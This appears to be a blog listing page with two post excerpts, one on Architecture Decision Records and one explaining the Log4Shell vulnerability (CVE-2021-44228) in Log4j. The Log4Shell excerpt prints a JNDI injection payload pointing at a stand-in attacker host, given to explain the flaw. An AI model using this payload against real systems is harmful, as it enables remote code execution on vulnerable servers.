Architecture Decision Records (ADRs): Documenting the Why

Code comments explain *what*, but not *why* a particular architectural decision was made. **ADRs** are lightweight Markdown documents capturing context, options considered, and the decision chosen. ADR Template Key Takeaways Store ADRs in the repo (`docs/adr/`). ADRs are immutable. If a decision changes, write a new ADR superseding the old one.

Read more β†’

Log4Shell Explained (CVE-2021-44228)

Log4Shell is arguably the worst vulnerability in a decade. The Apache Log4j library (Java) allowed remote code execution via a simple log message injection. .NET is not affected, but understanding this is critical for polyglot teams. The Exploit A malicious string like `${jndi:ldap://attacker.com/a}` in a log message triggers a JNDI lookup, downloading and executing a […]

Read more β†’